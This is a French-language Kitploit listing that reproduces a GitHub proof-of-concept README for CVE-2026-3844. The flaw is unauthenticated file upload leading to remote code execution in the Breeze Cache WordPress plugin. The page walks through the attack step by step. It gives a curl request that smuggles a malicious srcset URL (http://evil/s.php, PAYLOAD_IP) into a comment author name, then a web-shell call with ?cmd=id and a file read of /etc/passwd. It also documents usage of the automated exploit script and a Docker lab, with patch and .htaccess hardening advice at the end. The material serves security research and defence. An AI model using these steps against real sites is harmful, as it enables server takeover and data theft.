Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3844 — Preuve de concept d'exploitation pour CVE-2026-3844, un téléversement de fichier arbitraire non authentifié menant à l'exécution de code à distance dans Breeze Cache <= 2.4.4. Inclut un laboratoire Docker et un script d'exploitation automatisé. | Kitploit
Outils/GitHubGitHub/dinosn/cve-2026-3844
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubdinosn/cve-2026-3844

CVE-2026-3844

Preuve de concept d'exploitation pour CVE-2026-3844, un téléversement de fichier arbitraire non authentifié menant à l'exécution de code à distance dans Breeze Cache <= 2.4.4. Inclut un laboratoire Docker et un script d'exploitation automatisé.

Voir le dépôt
51il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-3844 — Breeze Cache <= 2.4.4 Téléversement de fichier arbitraire non authentifié menant à une exécution de code à distance (RCE)

Vue d'ensemble

ChampValeur
CVECVE-2026-3844
CVSS9.8 Critique (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Téléversement sans restriction de fichier de type dangereux
PluginBreeze Cache par Cloudways
Versions concernéesToutes les versions jusqu'à 2.4.4 incluse
Version corrigée2.4.5 (changeset 3511463)
InstallationsPlus de 400 000 installations WordPress actives
Découvert parHung Nguyen (bashu)
Divulgué2026-04-23

Vulnérabilité

La fonction fetch_gravatar_from_remote() dans inc/class-breeze-cache-cronjobs.php télécharge des URL distantes et les enregistre dans un répertoire accessible via le web en utilisant le nom de fichier et l'extension d'origine de l'URL. Il n'y a aucune validation du type MIME, aucune liste blanche d'extensions, et aucune inspection du contenu.

Lorsque le paramètre « Host Files Locally - Gravatars » est activé, le plugin s'accroche au filtre get_avatar de WordPress via breeze_replace_gravatar_image(). Cette fonction utilise une expression régulière pour extraire les URL des attributs srcset et src dans le HTML de l'avatar. Un attaquant peut injecter un attribut srcset malveillant en publiant un commentaire avec un nom d'auteur forgé, ce qui amène le plugin à télécharger et mettre en cache un fichier PHP arbitraire.

Code vulnérable

Code vulnérable dans fetch_gravatar_from_remote()

Ce qui manque :

  • Aucune vérification que le contenu téléchargé est une image (validation MIME)
  • Aucune restriction sur les extensions de fichiers (.php, .phtml, .phar tous acceptés)
  • Aucune inspection du type de contenu de la réponse HTTP
  • Le répertoire de destination est accessible via le web et autorise l'exécution de PHP

Déroulement de l'attaque

root@kitploit:~
Attaquant                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Commentaire enregistré
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  Le filtre get_avatar se déclenche
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extrait l'URL srcset via regex
   |                                        |    appelle fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         Contenu du fichier PHP         |
   |         -----------------------------> |
   |                                        |  Enregistré dans :
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP s'exécute en tant que www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Conditions préalables

  1. La version du plugin Breeze <= 2.4.4 doit être installée et active
  2. « Host Files Locally - Gravatars » doit être activé (désactivé par défaut, dans Réglages > Breeze > Avancé)
  3. Les commentaires WordPress doivent être ouverts sur au moins un article
  4. Le serveur de charge utile de l'attaquant doit être accessible depuis le serveur WordPress

Configuration du laboratoire Docker

Cette preuve de concept (PoC) comprend un environnement Docker autonome avec :

  • WordPress 6.5 + Breeze 2.4.4 (vulnérable, avec l'hébergement des gravatars activé)
  • MariaDB 10.11
  • Un serveur HTTP Python hébergeant la charge utile du PoC

Prérequis

  • Docker et Docker Compose
  • Python 3.8+ avec requests (pip install requests)

1. Démarrer le laboratoire

root@kitploit:~
cd docker/
docker compose up -d --build

Attendre environ 30 secondes que WordPress s'initialise. Vérifier :

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Attendu : Stable tag: 2.4.4

2. Vérifier les conditions préalables

Version de Breeze 2.4.4 confirmée

Commentaires ouverts, hébergement des gravatars activé

La configuration Docker automatise :

  • L'activation de « Host Files Locally - Gravatars » (breeze-store-gravatars-locally: 1)
  • L'ouverture des commentaires sur les articles
  • La désactivation de la modération des commentaires (pour une exploitation immédiate)

Exploitation

Étapes manuelles

Étape 1 — Publier le commentaire malveillant

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Remplacez PAYLOAD_IP par l'IP du conteneur de charge utile :

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Réponse attendue : redirection HTTP 302 vers la page de l'article.

Publication du commentaire malveillant

Étape 2 — Déclencher le rendu de l'avatar

Visitez la page de l'article pour que WordPress affiche l'avatar du commentaire, ce qui déclenche le filtre get_avatar de Breeze et télécharge la charge utile :

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

Le HTML rendu montre que Breeze a extrait le srcset injecté et mis en cache la charge utile :

Le rendu de l'avatar déclenche le téléchargement de la charge utile

Étape 3 — Vérifier le fichier sur le disque

La charge utile PHP est écrite telle quelle, appartenant à www-data :

shell.php sur le disque appartenant à www-data

Étape 4 — Confirmer l'exécution de code à distance (RCE)

RCE confirmée — id, whoami, uname, /etc/passwd

Script d'exploitation automatisé

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Sortie du script d'exploitation automatisé

Options du script

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      URL cible WordPress (obligatoire)
  -p, --payload     URL de la charge utile PHP à téléverser
  --post-id         ID d'article spécifique pour commenter
  --timeout         Délai d'expiration HTTP en secondes (défaut : 15)
  --wait            Secondes d'attente pour le cron (défaut : 12)
  --check-only      Vérifier uniquement la version du plugin, sans exploiter

Nettoyage

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

Remédiation

  1. Mettre à jour Breeze vers la version 2.4.5 ou ultérieure
  2. Solution de contournement (si le correctif ne peut pas être appliqué) : Désactiver « Host Files Locally - Gravatars » dans les réglages de Breeze
  3. Durcissement : Ajouter au .htaccess dans wp-content/cache/breeze-extra/gravatars/ :
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

Structure des fichiers

root@kitploit:~
cve-2026-3844/
  README.md              # Ce fichier
  docker/
    Dockerfile           # Image WordPress + Breeze 2.4.4
    docker-compose.yml   # Laboratoire complet (WP + MariaDB + serveur de charge utile)
    entrypoint-custom.sh # Configure automatiquement WP avec les réglages vulnérables
  poc/
    exploit.py           # Script d'exploitation PoC automatisé
    validate.sh          # Harnais de validation Docker de bout en bout
  payloads/
    shell.php            # Charge utile PoC inoffensive (echo + id)
  screenshots/           # Captures d'écran SVG de terminal (Charm freeze)
  validation/            # Sortie de validation d'exploitabilité RAPTOR

Références

  • NVD — CVE-2026-3844
  • Avis Wordfence
  • Changeset de correctif WordPress 3511463
  • Code source vulnérable (tag 2.4.1)

Avertissement

Cette preuve de concept est fournie uniquement pour les tests de sécurité autorisés, l'éducation et la recherche défensive. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.

Télécharger l’outil